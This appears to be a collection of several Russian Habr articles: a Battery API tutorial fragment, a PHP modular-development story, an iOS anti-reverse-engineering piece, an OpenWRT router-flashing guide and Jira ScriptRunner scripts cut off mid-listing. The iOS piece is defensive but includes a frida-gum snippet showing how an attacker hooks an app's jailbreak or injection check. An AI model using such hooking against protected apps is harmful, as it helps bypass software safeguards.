Вы можете зарегистрировать функции для этих колбеков, которые будут выполняться каждый раз, когда одно из свойств изменится.
#### Создание полей, для отображения информации из API
Начнем с пары простых полей в которых будем отображать информацию о батареи. Используем следующий HTML:
```
**Battery
specifications**
Battery level: unknown
Charging status: unknown
Battery charged: unknown
```
И javascript:
```
// get the battery information
var battery = navigator.mozBattery;
// get the battery information to be displayed
$('#level').text("Battery level: " + Math.round(battery.level * 100) + "%");
$('#status').text("Charging status: " + ((battery.charging) ? "true" : "false"));
if (battery.charging) {
$('#charged').text("Battery time to charge: " + battery.chargingTime);
} else {
$('#charged').text("Battery time left: " + (Math.round(battery.dischargingTime / 60)) + " minutes");
}
```
Как видно из кода выше — проще некуда. Также мы отображаем уровень батареи.
#### Создание картинки для отображение статуса батареи
Не буду углубляться в детали так как это довольно скучно. Но если вам таки интересно — [смотрите исходный код](http://www.smartjava.org/examples/webapi-battery). Для этого примера я создал простой объект батареи (основан на примере от Nokia) и при помощи вызова метода updateBattery смогу установить уровень заряда батареи. Для инициализации стоит использовать код ниже:
```
var b = new Battery("assets/bat_empty.png", "assets/bat_full.png", 96, 168);
$("#battery").append(b.domElement);
b.updateBattery(battery.level * 100);
```
#### Использование eventListener для обновления информации
Напоследок добавим пару eventListener'ов, которые будут выполняться после каждой смены свойств батареи:
```
// when the loader is connected
battery.addEventListener("chargingchange", function (e) {
$('#status').text("Charging status: " + ((battery.charging) ? "true" : "false"));
}, false);
// when charging time changes update the time to charge / time left
battery.addEventListener("chargingtimechange", function (e) {
if (battery.charging) {
$('#charged').text("Battery time to charge: " + battery.chargingTime);
} else {
$('#charged').text("Battery time left: " + (Math.round(battery.dischargingTime / 60)) + " minutes");
}
}, false);
// when dischargingtime changes update the time to charge / time left
battery.addEventListener("dischargingtimechange", function (e) {
if (battery.charging) {
$('#charged').text("Battery time to charge: " + (Math.round(battery.dischargingTime / 60)) + " minutes");
} else {
$('#charged').text("Battery time left: " + (Math.round(battery.dischargingTime / 60)) + " minutes");
}
}, false);
// listener that is notified when the level changes
battery.addEventListener("levelchange", function (e) {
$('#level').text("Battery level: " + Math.round(battery.level * 100) + "%");
b.updateBattery(100 * battery.level)
}, false);
```
Просто, правда? Действительно хорошей новостью является то, что API работает на всех устройствах. На моем мобильном это выглядит так:
На Windows (запущенной на VM) это выглядит так:
 | https://habr.com/ru/post/145608/ | null | ru | null |
# История о модульном подходе в digital агентстве
Всем привет. Меня зовут Сергей, я работаю в digital-агентстве Convergent лидером команды бэкенд разработки. Одно из основных направлений работы агентства ⸺ это разработка под заказ веб-приложений. Такая деятельность подразумевает, что зачастую создается достаточно много однотипных проектов. Они могут отличаться механиками, но основные юзкейсы повторяются: регистрация, авторизация, личный кабинет, админка и т. д. В данной статье я хочу рассказать о том, как мы оптимизировали процессы переиспользования кода и пришли в итоге к модульному подходу, ну и затрону еще немного технической стороны вопроса. Основной язык программирования в компании — PHP, так что дальше я расскажу о работе с этим языком. В нашем случае он отлично подходит для создания сайтов различного уровня сложности, различных активаций и промо-кампаний.
Столкнувшись с большим количеством однотипных проектов, сразу захотелось создать универсальный шаблон для работы. Мне уже не раз доводилось создавать CMS и небольшие фреймворки, так что я захотел собрать на Yii свою собственную универсальную «админку».
### «Сборка»
Так появилась «Сборка». Технически ⸺ это простой шаблон проекта, который каждый раз удобно переносить в новый проект.
Пример того, как выглядит наша админка сейчасПотом начался переход на Yii 2.0, что позволило добавить в шаблон много различных фишек. Вместе с тем миграция с 1.1 на 2.0 далась непросто:
* Бесшовной обратной совместимости новая версия не имела, поэтому потребовалось провести полный рефакторинг кода.
* Новый API фреймворка ⸺ а значит, команде пришлось переучиться работать на нем. Это как-то само собой получилось, но сейчас я бы поставил это как цель в Personal Evaluation.
* Кодовая база с применением первой версии фреймворка потеряла свою актуальность. Впрочем, жизненный цикл проектов в агентской разработке может варьироваться от нескольких месяцев до нескольких лет, поэтому какие-то проекты на Yii 1 просто закончились, а несколько крупных удалось переписать с нуля.
Параллельно с Yii 2 мы перешли на инфраструктуру доставки зависимостей с помощью Composer. До этого сам фреймворк и все его расширения хранились прямо в системе контроля версий вместе с кодом проекта.
Не стану рассказывать подробно про Yii 2, но одной из его ключевых фишек для нас оказалась система модулей. В этом фреймворке модули включают в себя весь шаблон MVC, по факту это своего рода приложения внутри приложения.
Модульный подход позволил разделить функциональность сайта на относительно независимые друг от друга части, объединенные единым модулем admin, классы которого используются другими модулями для создания собственных разделов в административной панели.
Схема взаимодействия фреймворка и модулей
Например, модуль для работы с галерей конкурсных работ включает в себя контроллеры админки, шаблоны верстки, ассеты (стили, скрипты, картинки), контроллеры фронт части сайта, модели, миграции. При всем этом модули хранятся в коде проекта и зависят от admin.
Часть разработчиков все еще игнорировала сборку, из-за чего перенос модулей между частью проектов без переработки был невозможен. Кроме того, поддерживать совместимость “ядра” было крайне затруднительно, т. к. все правки я переносил вручную на все активные проекты.
Пример актуальной структуры модуляВ конце концов наступило время глобального рефакторинга сборки, и я приступил к тотальной реорганизации модулей, используя Composer, благодаря которому любой модуль можно упаковать в пакет.
Что я сделал:
* Начал шаг за шагом выносить каждый модуль из общего гита шаблона проекта в отдельные репозитории.
* Изменил неймспейсы на фирменные (convergent/…)
* Оформил composer.json с зависимостями для каждого пакета.
* Сделал несколько шаблонов приложений Yii, которые имели зависимости от нужных им модулей.
Таким образом любой новый проект теперь начинается в том числе с выбора шаблона:
* Классический веб-сайт - обычный сайт, с шаблонизацией с помощью PHP и сборкой CSS/JS с помощью WebPack.
* REST-приложение (с раздельным фронтом) - решение для проектов, которые пишутся например на Nuxt или как API для мобильных приложений.
* Чатбот-приложение. У нас есть собственная разработка на базе Botman.
После всего это проблемным для нас местом оставалась система хранения и доставки кода. В мире PHP все знают про Private Packagist, а еще есть бесплатный инструмент Satis, с помощью которого можно генерировать Composer-совместимые репозитории. Впрочем, функциональности обоих продуктов нам не хватало.
Packager
--------
В итоге мы сделали собственный внутренний продукт - Packager, созданный на базе Satis.
Packager стал некой прослойкой, которая делает следующий вещи:
* Подключает модули. Все они хостятся в GitLab, а в Packager указываются ссылки на них.
* Создает CHANGE-лог модулей.
* Организует работу с лицензиями и позволяет видеть общую картину по всем проектам и клиентам.
* Управляет Composer-репозиториями. Мы решили разделить их по клиентам, т. к. они покупают лицензии на модули не в рамках проектов, а в рамках юридического лица. Это основная фича, которая нам требовалась.
* Разделяет доступ к репозиториям для разработчиков и для клиентов (и для CI). Сам Satis не имеет встроенного механизма авторизации, поэтому была создана прослойка на Lua между nginx и PHP.
В целом получилась весьма неплохая Standalone-замена платному Packagist’у.
Так выглядит админка репозитория в Packager### Версионирование модулей
Еще одним важным моментом в работе с модулями является их версионирование. Мы используем стиль [SemVer](https://semver.org/lang/ru/) (в формате Major.Minor.Patch):
* Исправление багов увеличивает значение Patch
* Новая фича увеличивает Minor
* Если нарушается обратная совместимость, увеличивается Major
В каждом проекте, который подключает модули, по умолчанию прописывается ~1.0:
`"convergent/yii2-admin": "~1.0"`
В таком случае создается относительная безопасность обновлений, т. к. здесь мы явно говорим, что можем обновляться до любой версии 1.x.x.
При выпуске модуля с новой фичей, которая используется в приложении, разработчики просто меняют минимальную версию с ~1.0 например на ^1.1 (что значит > 1.1.0 и < 2).
### CI/CD
Из-за того, что все модули развиваются в большей степени независимо, возникает большой лаг внесения изменений в код. Для решения этой проблемы я сделал технический проект, в задачу которого входит клонирование всех модулей и запуск проекта с учетом нюансов версионирования. Суть в том, чтобы можно было в рамках одного проекта работать над любыми модулями. Это особенно удобно в случае, когда нужно сделать фичу, зависящую сразу от нескольких модулей.
Большое количество проектов ранее собиралось с помощью Jenkins. Обычно все сводится к composer install в воркере Jenkins, копированию файлов и выполнению миграций на production сервере. В реальности же, конечно, каждый проект чем-то отличается.
К переходу на GitLab CI и Docker в большей степени меня подтолкнула задача развертывания проекта во внутренней сети заказчика, доступ к которой извне недоступен.
Опишу ключевые вещи:
* Образ приложения наследуется от PHP-FPM.
* В нем устанавливаются все пакеты, необходимые для работы, в т. ч. cron и supervisor.
* В образ приложения добавляются vendor библиотеки, в т. ч. модули Yii.
* Также добавляются конфигурации и entry-скрипты для запуска fpm/cron/supervisor.
* Создается docker-compose, с помощью которого настраиваются nginx, MySQL, а также задаются три контейнера от общего образа для запуска fpm/cron/supervisor.
* На production сервере создается docker-compose, а при выходе новой версии образа приложения запускается docker-compose pull + down + up.
Плюсом несомненно является автоматизация сборки и контроль конфигурации окружения приложения силами разработчиков с минимальным привлечением devops-инженера. А минусом, который пока не особо получилось решить ⸺ это скорость сборки образа и больший расход ресурсов тестовых серверов.
### Что дальше?
**Тесты.** Одной из ключевых задач при создании продукта ⸺ это максимально полное покрытие тестами. Сейчас это достаточно слабое место, которое точно требует доработки. Все новые фичи и фиксы багов проверяются в большей степени вручную и частично функциональными тестами. Мы работаем над этим.
**Packager - внешний продукт?** Пока мы используем только для своих нужд, но есть мысли, что инструмент может быть полезен другим разработчикам на PHP, как думаете?
### Ресурсы по теме
* [Yii Framework](https://www.yiiframework.com)
* [Composer](https://getcomposer.org)
* [Private Packagist](https://packagist.com)
* [Satis](https://github.com/composer/satis)
* [Модули Convergent](https://activations.convergent.digital/mechanics#!/tab/175186654-2) | https://habr.com/ru/post/550008/ | null | ru | null |
# С помощью скотча и жвачки
Защита приложений от обратной разработки - сложный процесс, который может отнимать много сил и нервов. Статья расскажет о нескольких подходах защиты приложений под операционную систему iOS с использованием разных методов запутывания кода и сокрытия данных.
### Методики анализа приложений
Первый метод, который применяется для анализа приложения - статический. При этом виде анализа организуется просмотр файлов приложения, их расположение в пакете установки и локализация тех данных, которые настраивают окружение для корректной работы приложения. Завершающим этапом исследования является просмотр дезассемблированного и, возможно, декомпилированного листинга приложения. Для этого метода очень важно, чтобы стандартные структуры данных оставались в их первоначальном виде. Первоначальный вид - это вид, который приобрел исходный код приложения после компиляции в Xcode. Для файлов в первоначальном виде, как правило, уже существуют коммерческие и open source инструменты анализа. В случае же, если вмешивается дополнительное преобразование данных и кода в целях их сокрытия, то алгоритм становится читать очень сложно, а при грамотном подходе - иногда невозможно.
Как это можно реализовать? Обычно подход к запутыванию кода применяют на этапе компиляции. Достигается это за счет использования мусорных конструкций, которые могут не выполнять основного алгоритма приложения, но занимать процессорное время. Также применяются методы для запутывания графа выполнения команд. Например, код слева - до преобразования, код справа - после:
Весьма эффективный метод: над разбором такого защищенного приложения можно провести большое количество часов, но оборотной стороной таких преобразований могут стать проблемы с производительностью и поддержкой полученного кода, а также большое количество времени на проведение отладки, поиска проблем.
Для платформы iOS open source инструмента, к сожалению, нет, но можно воспользоваться [проектами](https://github.com/MaxXor/obfuscator-llvm), которые реализуют похожий функционал и просто использовать основную идею.
Дополнительное усложнение статического анализа возможно при учете основных методов, которые применяются для анализа приложений:
* Использование названий методов и классов для поиска фрагментов алгоритма;
* Использование констант для определения кода, который выполняет основные проверки;
* Локализация библиотечных функций, которые задействованы в алгоритме.
Все перечисленные выше подходы применяются для начала анализа. Обычно это просто отправная точка, но что если попытаться убрать эту точку из приложения? В этой области разработка под iOS ушла довольно далеко. Большое количество [проектов](https://github.com/polidea/siriusobfuscator) предлагают подходы для обфускации названий классов, методов и констант внутри файла приложения. Реализация работает в основном за счет создания огромного файла в проекте с большим количество "define" директив, но основную задачу выполняет. Пример обфускации из репозитория:
```
class Sample: UIViewController {
var value = 42
override func viewDidLoad() {
super.viewDidLoad()
configure()
foo(bar: 1)
}
func foo(bar baz: Int) {
value += baz
}
}
```
```
class aqoxMfcPUXffEuurviH_ZPMDW2hCmXDR: UIViewController {
var a0vLRcFFAQ1Lvw2sf4ZIigWKjXjpJpug = 42
override func viewDidLoad() {
super.viewDidLoad()
A6PP2E5mcmjEsgOvTeXwy2G44vzYLa6H()
xG1qrXIMEJC1Eoma2Qbp_ZWJ5y2lrGYX(KuT5vOLIISvSJyju6bYxsHO_vlWUU589: 1)
}
func xG1qrXIMEJC1Eoma2Qbp_ZWJ5y2lrGYX(KuT5vOLIISvSJyju6bYxsHO_vlWUU589 vjCKgTT7Cf0ZlEi9giLZstzgdC9XLQcd: Int) {
a0vLRcFFAQ1Lvw2sf4ZIigWKjXjpJpug += vjCKgTT7Cf0ZlEi9giLZstzgdC9XLQcd
}
}
```
Статический анализ - это не единственный возможный вариант исследования приложений. Более продуктивный и быстрый метод анализа - динамический. При этом способе анализа приложения злоумышленник может использовать отладчики для операционной системы, приложения и наборы инструментов, которые будут исследовать каждую команду запущенного приложения. В прошлой статье было описано, [как](https://habr.com/ru/company/otus/blog/572002/) можно усложнить жизнь таким инструментам. Однако ранее мы говорили об инструментах, которые уже готовы для использования, а что, если будет использоваться что-то кастомное?
Вероятный проект, который может использовать злоумышленник для исследования - [frida-gum](https://github.com/frida/frida-gum). Это библиотека, которая может быть использована для создания новых инструментов анализа приложений. По сути, это те же наборы функций, которые были доступны из frida, только код для имплементации может меняться злоумышленником по его усмотрению. Пример кода, который использует frida-gum:
```
//адрес функции, которая отслеживает наличие заижекченого кода
const uintptr_t functionAddress = 0x....
// Установка перехвата функции
GumAttachReturn attach_ret = gum_interceptor_attach(
listener_->interceptor,
/* target */ reinterpret_cast(functionAddress),
reinterpret\_cast(listener\_),
/\* ID \*/ reinterpret\_cast(functionAddress)
);
....
// OnEnter обычной Frida
void native\_listener\_on\_enter(GumInvocationListener\* listener, GumInvocationContext\* ic) {
const uintptr\_t ctor\_function\_addr = ic->cpu\_context->x[1];
}
```
Если подобный код будет добавлен в зависимости приложения через патч или при запуске приложения, то можно будет собирать вызовы функций, которые отработали в приложении. Единственная возможность детектировать такое вмешательство - проверка контрольных точек алгоритма на наличие секретного значения. Например:
```
static constexpr uintptr_t OOD = 0x000dbeef;
static uintptr_t MAGIC_CFI = 0xdeadc0de;
__attribute__((constructor))
void frida_detect() {
if (is_frida_running()) {
crash();
}
MAGIC_CFI = OOD;
}
__attribute__((constructor))
void control_fault_check() {
if (MAGIC_CFI != OOD) {
crash();
}
}
```
Если добавить такие конструкции на функции проверки наличия, допустим, jailbreak, то перехват функции и создание обработчика, который не будет устанавливать секретные значения, не сможет отработать, потому что условие "contol\_fault\_check" будет постоянно крашить приложение.
Вывод
-----
Методы защиты алгоритма приложения - это всегда компромисс между скоростью, функциональностью и безопасностью. Проблема iOS платформы в этой области заключается в том, что считается достаточным использование DRM защиты, которая предоставляется Apple. Но, до тех пор, пока существует jailbreak, эта защита будет недостаточной. Для защиты алгоритмов придется прибегать к определенным ухищрениям и "допиливать" opensouce проекты, чтобы они подходили под задачи защиты от обратной разработки.
---
*Статья подготовлена в преддверии старта курса* [*IOS Developer. Professional*](https://otus.pw/V9P1/)*.*
* [Узнать подробнее о курсе](https://otus.pw/V9P1/) | https://habr.com/ru/post/573346/ | null | ru | null |
# DSL роутер D-link D2650u для не-DSL провайдера
**В наличии**: Роутер D-link DSL2650U, который имеет встроенный DSL модем, 4-портовый коммутатор и один USB вход и не-DSL провайдер ( обычная витая пара и DHCP на том конце провода ). Ревизия роутера: D, Board ID: 96358VW2.
**Проблема**: Некуда вставлять витую пару провайдера, поскольку нет Ethernet WAN порта, а просто свич не работает с провайдером.
**Решение**: Перенастроить один из LAN портов как WAN.
Статья будет в формате пошаговой инструкции, как решить эту задачу. Поскольку времени на поиск и вкуривания информации я потратил относительно много, решил написать об этом пост, чтобы систематизировать и помочь людям решить подобную проблему.
#### Собираем прошивку
В стандартной прошивке ничего подобного об Ethernet WAN порте нет, поэтому интернет был исследован на наличие кастомных прошивок. Из поддерживаемых нашлась OpenWRT ( DD-WRT не поддерживает ), однако официальной поддержки нет. Это значит, что готовых сборок нет и нужно патчить и собирать из исходников самому.
На странице вики есть [страница](http://wiki.openwrt.org/toh/d-link/dsl-2650u) с описанием роутера и патчем для исходников. Вся суть патча состоит в том, чтобы добавить новую платформу для сборки в Makefile, при том, что описание платформы уже состоит в trunk версии.
* cтягиваем исходники с SVN `svn co svn.openwrt.org/openwrt/branches/backfire backfire`
* добавляем две строчки c нашем роутером
`# D-Link DSL-2650U
$(call Image/Build/CFE,$(1),96358VW2,6358,DSL2650U)`
после
`# D-Link DSL-2740B
$(call Image/Build/CFE,$(1),96358GW,6358,DSL2740B)`
в файл `target/linux/brcm63xx/image/Makefile`
* делаем `make menuconfig` для настройки сборки ( возможно, необязательный пункт, но я его делал ), и заменяем созданный файл `.config` на файл с релиза: `downloads.openwrt.org/backfire/10.03.1-rc5/brcm63xx/config` ( нужно cкачать файл `config` и переименовать его в `.config` )
* После этого просто `make` и ждем завершения сборки.
Компилировать оно будет долго, поскольку автоматически собирается toolchain, все зависимости и необходимые утилиты. После сборки появится папка `bin/brcm63xx` с образами для всех поддерживаемых роутеров. Нам нужен файл `openwrt-DSL2650U-squashfs-cfe.bin`.
#### Прошиваем роутер
Первая попытка скормить этот файл для обновления прошивки через веб-интерфейс роутера провалилась — веб-интерфейс возвращал не информативную ошибку о том, что этот образ нельзя прошить.
Еще была попытка прошить через tftp. Принцип прост, состоит в том, что при загрузке, bootloader запускает tftp сервер, и если поймать момент, можно залить прошивку. Сколько раз я не игрался с перезагрузкой роутера, результата не было. Почитать можно [здесь](http://wiki.openwrt.org/doc/howto/generic.flashing.tftp).
На этом этапе у меня уже опустились руки и я смирился с покупкой нового роутера, как вдруг нашел на просторах интернета, что есть режим прошивки без проверки правильности прошивки.
Чтобы вызвать этот режим, нужно зажав кнопку *ресет*, включить/перегрузить роутер и держать кнопку ( ресета ) 10 секунд. После этого, при заходе в веб-интерфейс роутер предложит загрузить прошивку. Решившись рискнуть ( есть возможность сделать из роутера кирпич ), загружаем туда прошивку, ждем две минуты и о чудо, на нашем роутере OpenWRT.
#### Настройка
У нас есть роутер с OpenWRT, без веб-интерфейса, хотя веб-сервер работает и показывает пустоту.
Для начала нужно зайти на роутер через `telnet`, и, выполнив команду `passwd`, назначить пароль рута. После этого, мы можем общаться с роутером по ssh: `ssh root@192.168.1.1`.
Как оказалось, прошить роутер не было самой большой проблемой, поскольку нужно еще по-умному настроить сеть. Перерыв много документации, понимаем, что нужно делать через VLAN — виртуальные сети. Нужно разбить порты свича на отдельные подсети, и настроить forwarding. Следуя этой [странице](http://wiki.openwrt.org/doc/uci/network/switch) вики, редактируем файл `/etc/config/network`.
У нас интерфейс свича совпадает с предполагаемым в руководстве — это eth1, и мы хотим вынести четвертый LAN порт в отдельную подсеть, поэтому мы большую часть конфига можем скопировать из документации. Единственное отличие в том, что у нас нет актуального WAN порта ( он есть, но не выведен железно ), поэтому мы не создаем отдельную *extranet*, а редактируем *wan* секцию, изменив `ifname eth0` на `ifname eth1.1`. Плюс этого изменения состоит в том, что в роутере все изначально настроено на раздачу интернета из *wan* в *lan*.
Полный конфиг:
`config 'switch' 'eth1'
option 'enable' '1'
option 'enable_vlan' '1'
option 'reset' '1'
config 'switch_vlan'
option 'vlan' '0'
option 'device' 'eth1'
option 'ports' '0 1 2 5t'
config 'switch_vlan'
option 'vlan' '1'
option 'device' 'eth1'
option 'ports' '3 5t'
config 'switch_port'
option 'port' '3'
option 'pvid' '1'
config interface loopback
option ifname lo
option proto static
option ipaddr 127.0.0.1
option netmask 255.0.0.0
config interface lan
option type bridge
option ifname eth1.0
option proto static
option ipaddr 192.168.1.1
option netmask 255.255.255.0
option nat 1
config interface wan
option ifname eth1.1
option proto dhcp`
Перезапускаем службу сети, выполнив команду `/etc/init.d/network restart`
Опытным путем было выявлено, что *port 3* в конфиге соответствует реальному первому порту. Поскольку меня такой вариант удовлетворял, я не стал пробовать еще, но подозреваю, что *port 0* будет реальным четвертым портом.
Втыкаем интернет провод в первый провод, и радуемся раздачи интернета. Если нужно подключаться через VPN, прошивка и такое может.
#### Последние штрихи
Для настройки Wifi нужно править файл `/etc/config/wireless`. Настройка вайфая описана [тут](http://wiki.openwrt.org/doc/uci/wireless).
Самый распространенный веб-интерфейс это Luci. Для установки, при подключенном интернете нужно выполнить:
`opkg update
opkg install luci`
В итоге мы имеем полноценный linux на роутере, на котором можно поднять торент-клиенты, всяческие кеширующие службы, прокси и т.п. А поскольку есть разьем USB, можно сделать сетевое хранилище или интернет-качалку.
Минус OpenWRT в том, что мы теряем функцию DSL модема, но поскольку отсутствие DSL и подвигло на такое решение, то это не критично.
Полезные ссылки:
* [Проект OpenWrt](https://openwrt.org/)
* [Настройка USB Storage](http://wiki.openwrt.org/doc/howto/usb.storage)
* [Видео-обзор веб-интерфейса Luci](http://www.youtube.com/watch?v=uPe--h5GMZM) | https://habr.com/ru/post/124744/ | null | ru | null |
# Три способа обновить запрос в Jira из ScriptRunner, используя Jira Java API
В этой статье будут рассмотрены три способа обновления запроса в Jira, используя Jira Java API.
Я буду использовать следующие методы Jira Java API:
* Issue.setCustomFieldValue(CustomField customField, Object value)
* CustomField.updateValue(FieldLayoutItem fieldLayoutItem, Issue issue, ModifiedValue modifiedValue, IssueChangeHolder issueChangeHolder)
* IssueService.update(ApplicationUser user, IssueService.UpdateValidationResult updateValidationResult)
Будут приведены примеры скриптов для обновления всех типов кастомных полей, доступных в Jira из «коробки», с таблицей, в которой указаны отличия работы рассматриваемых методов друг от друга.
Все скрипты я протестировал на Jira 7.7.0 в консоли скриптов плагина Adaptivist ScriptRunner 5.3.7. Целью статьи было не написание «чистого кода», а изложение принципов работы с запросами.
Тексты скриптов можно скачать [здесь](https://bitbucket.org/alex1mmm/scriptrunner/src/5e8829b7abdb99d4b80f06a34946726c60e41f50/articles/updateissue/?at=master).
Были созданы следующие кастомные поля:
#### Способ 1 Issue.setCustomFieldValue(CustomField customField, Object value)
Ниже приведен скрипт для изменения полей.
**Код**
```
import com.atlassian.jira.component.ComponentAccessor
import com.atlassian.jira.event.type.EventDispatchOption
import java.sql.Date
import com.atlassian.jira.issue.customfields.option.Option
import com.atlassian.jira.issue.Issue
import com.atlassian.jira.issue.fields.CustomField
import com.atlassian.jira.issue.label.Label
import com.atlassian.jira.bc.user.search.UserSearchService
import com.atlassian.jira.bc.user.search.UserSearchParams
import com.atlassian.jira.user.ApplicationUser
def issue = ComponentAccessor.getIssueManager().getIssueByCurrentKey("BP-7")
def user = ComponentAccessor.getJiraAuthenticationContext().getLoggedInUser()
// Получаем ссылки на кастомные поля
def singleline_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("singleline_field")
def datetimepicker_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("datetimepicker_field")
def checkbox_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("checkbox_field")
def number_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("number_field")
def labels_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("labels_field")
def multi_grouppicker_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("multi_grouppicker_field")
def multiline_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("multiline_field")
def datepicker_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("datepicker_field")
def userpicker_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("userpicker_field")
def radiobuttons_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("radiobuttons_field")
def selectlist_cascading_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("selectlist_cascading_field")
def select_singlechoice_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("select_singlechoice_field")
def selectlist_multichoice_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("selectlist_multichoice_field")
def url_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("url_field")
// устанавливаем значения полей
issue.setCustomFieldValue(singleline_field, "test 1")
issue.setCustomFieldValue(datetimepicker_field, new Date(Calendar.getInstance().getTime().getTime()))
issue.setCustomFieldValue(checkbox_field, getOptions(issue, checkbox_field, ["option 1", "option 2"]))
issue.setCustomFieldValue(number_field, (Double) 1)
issue.setCustomFieldValue(labels_field, [new Label(null, issue.getId(), labels_field.getIdAsLong(), "Label")] as Set)
issue.setCustomFieldValue(multi_grouppicker_field, [ComponentAccessor.getGroupManager().getGroup("jira-software-users")])
issue.setCustomFieldValue(multiline_field, "test 1")
issue.setCustomFieldValue(datepicker_field, new Date(Calendar.getInstance().getTime().getTime()))
issue.setCustomFieldValue(userpicker_field, findUser("admin"))
issue.setCustomFieldValue(radiobuttons_field, getOptions(issue, checkbox_field, ["option 1"]).get(0))
issue.setCustomFieldValue(selectlist_cascading_field, getCascadingOptions(issue, selectlist_cascading_field))
issue.setCustomFieldValue(select_singlechoice_field, getOptions(issue, select_singlechoice_field, ["option 1"]).get(0))
issue.setCustomFieldValue(selectlist_multichoice_field, getOptions(issue, selectlist_multichoice_field, ["option 1", "option 2"]))
issue.setCustomFieldValue(url_field, "http://google.com")
// применяем изменения
ComponentAccessor.getIssueManager().updateIssue(user, issue, EventDispatchOption.ISSUE_UPDATED, false)
// получем опции для кастомных полей типа radio button, checkbox and select
def List getOptions(Issue issue, CustomField customField, List optionList) {
def config = customField.getRelevantConfig(issue)
def options = ComponentAccessor.getOptionsManager().getOptions(config)
def optionsToSelect = options.findAll { it.value in optionList }
}
// получаем пользователя для кастомного поля типа user picker
def ApplicationUser findUser(String userName) {
def userSearchService = ComponentAccessor.getComponent(UserSearchService.class);
UserSearchParams userSearchParams = (new UserSearchParams.Builder()).allowEmptyQuery(true).includeActive(true).includeInactive(true).maxResults(100000).build();
return userSearchService.findUsers(userName, userSearchParams).get(0)
}
// получаем опции для кастомного поля типа cascading select
def Map getCascadingOptions(Issue issue, CustomField customField) {
def parentOptionObj = getOptions(issue, customField, ["option 1"]).get(0) as Option
def childOptionObj = ComponentAccessor.getOptionsManager().findByParentId(parentOptionObj.getOptionId()).get(0)
Map newValues = new HashMap<>()
newValues.put(null, parentOptionObj)
newValues.put("1", childOptionObj)
return newValues
}
```
Для того, чтобы обнулить поле, необходимо установить значение null. Например, вот так:
```
issue.setCustomFieldValue(singleline_field, null)
```
#### Способ 2 CustomField.updateValue(FieldLayoutItem fieldLayoutItem, Issue issue, ModifiedValue modifiedValue, IssueChangeHolder issueChangeHolder)
Ниже приведен скрипт для изменения полей:
**Код**
```
import com.atlassian.jira.component.ComponentAccessor
import com.atlassian.jira.event.type.EventDispatchOption
import java.sql.Date
import com.atlassian.jira.issue.customfields.option.Option
import com.atlassian.jira.issue.Issue
import com.atlassian.jira.issue.fields.CustomField
import com.atlassian.jira.issue.label.Label
import com.atlassian.jira.bc.user.search.UserSearchService
import com.atlassian.jira.bc.user.search.UserSearchParams
import com.atlassian.jira.user.ApplicationUser
import com.atlassian.jira.issue.util.DefaultIssueChangeHolder
import com.atlassian.jira.issue.ModifiedValue
def issue = ComponentAccessor.getIssueManager().getIssueByCurrentKey("BP-7")
def user = ComponentAccessor.getJiraAuthenticationContext().getLoggedInUser()
// Получаем ссылки на кастомные поля
def singleline_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("singleline_field")
def datetimepicker_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("datetimepicker_field")
def checkbox_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("checkbox_field")
def number_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("number_field")
def labels_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("labels_field")
def multi_grouppicker_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("multi_grouppicker_field")
def multiline_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("multiline_field")
def datepicker_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("datepicker_field")
def userpicker_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("userpicker_field")
def radiobuttons_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("radiobuttons_field")
def selectlist_cascading_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("selectlist_cascading_field")
def select_singlechoice_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("select_singlechoice_field")
def selectlist_multichoice_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("selectlist_multichoice_field")
def url_field = ComponentAccessor.getCustomFieldManager().getCustomFieldObjectByName("url_field")
// вносим изменения. Изменения будут применены сразу
singleline_field.updateValue(null, issue, new ModifiedValue("", (Object) "Test 1"), new DefaultIssueChangeHolder())
datetimepicker_field.updateValue(null, issue, new ModifiedValue("", (Object) new Date(Calendar.getInstance().getTime().getTime())), new DefaultIssueChangeHolder())
checkbox_field.updateValue(null, issue, new ModifiedValue("", (Object) getOptions(issue, checkbox_field, ["option 1", "option 2"])), new DefaultIssueChangeHolder())
number_field.updateValue(null, issue, new ModifiedValue("", (Object) (Double) 1), new DefaultIssueChangeHolder())
labels_field.updateValue(null, issue, new ModifiedValue("", (Object) ([new Label(null, issue.getId(), labels_field.getIdAsLong(), "Label")] as Set)), new DefaultIssueChangeHolder())
multi_grouppicker_field.updateValue(null, issue, new ModifiedValue("", (Object) [ComponentAccessor.getGroupManager().getGroup("jira-software-users")]), new DefaultIssueChangeHolder())
multiline_field.updateValue(null, issue, new ModifiedValue("", (Object) "test 1"), new DefaultIssueChangeHolder())
datepicker_field.updateValue(null, issue, new ModifiedValue("", (Object) new Date(Calendar.getInstance().getTime().getTime())), new DefaultIssueChangeHolder())
userpicker_field.updateValue(null, issue, new ModifiedValue("", (Object) findUser("admin")), new DefaultIssueChangeHolder())
radiobuttons_field.updateValue(null, issue, new ModifiedValue("", (Object) getOptions(issue, checkbox_field, ["option 1"]).get(0)), new DefaultIssueChangeHolder())
selectlist_cascading_field.updateValue(null, issue, new ModifiedValue("", (Object) getCascadingOptions(issue, selectlist_cascading_field)), new DefaultIssueChangeHolder())
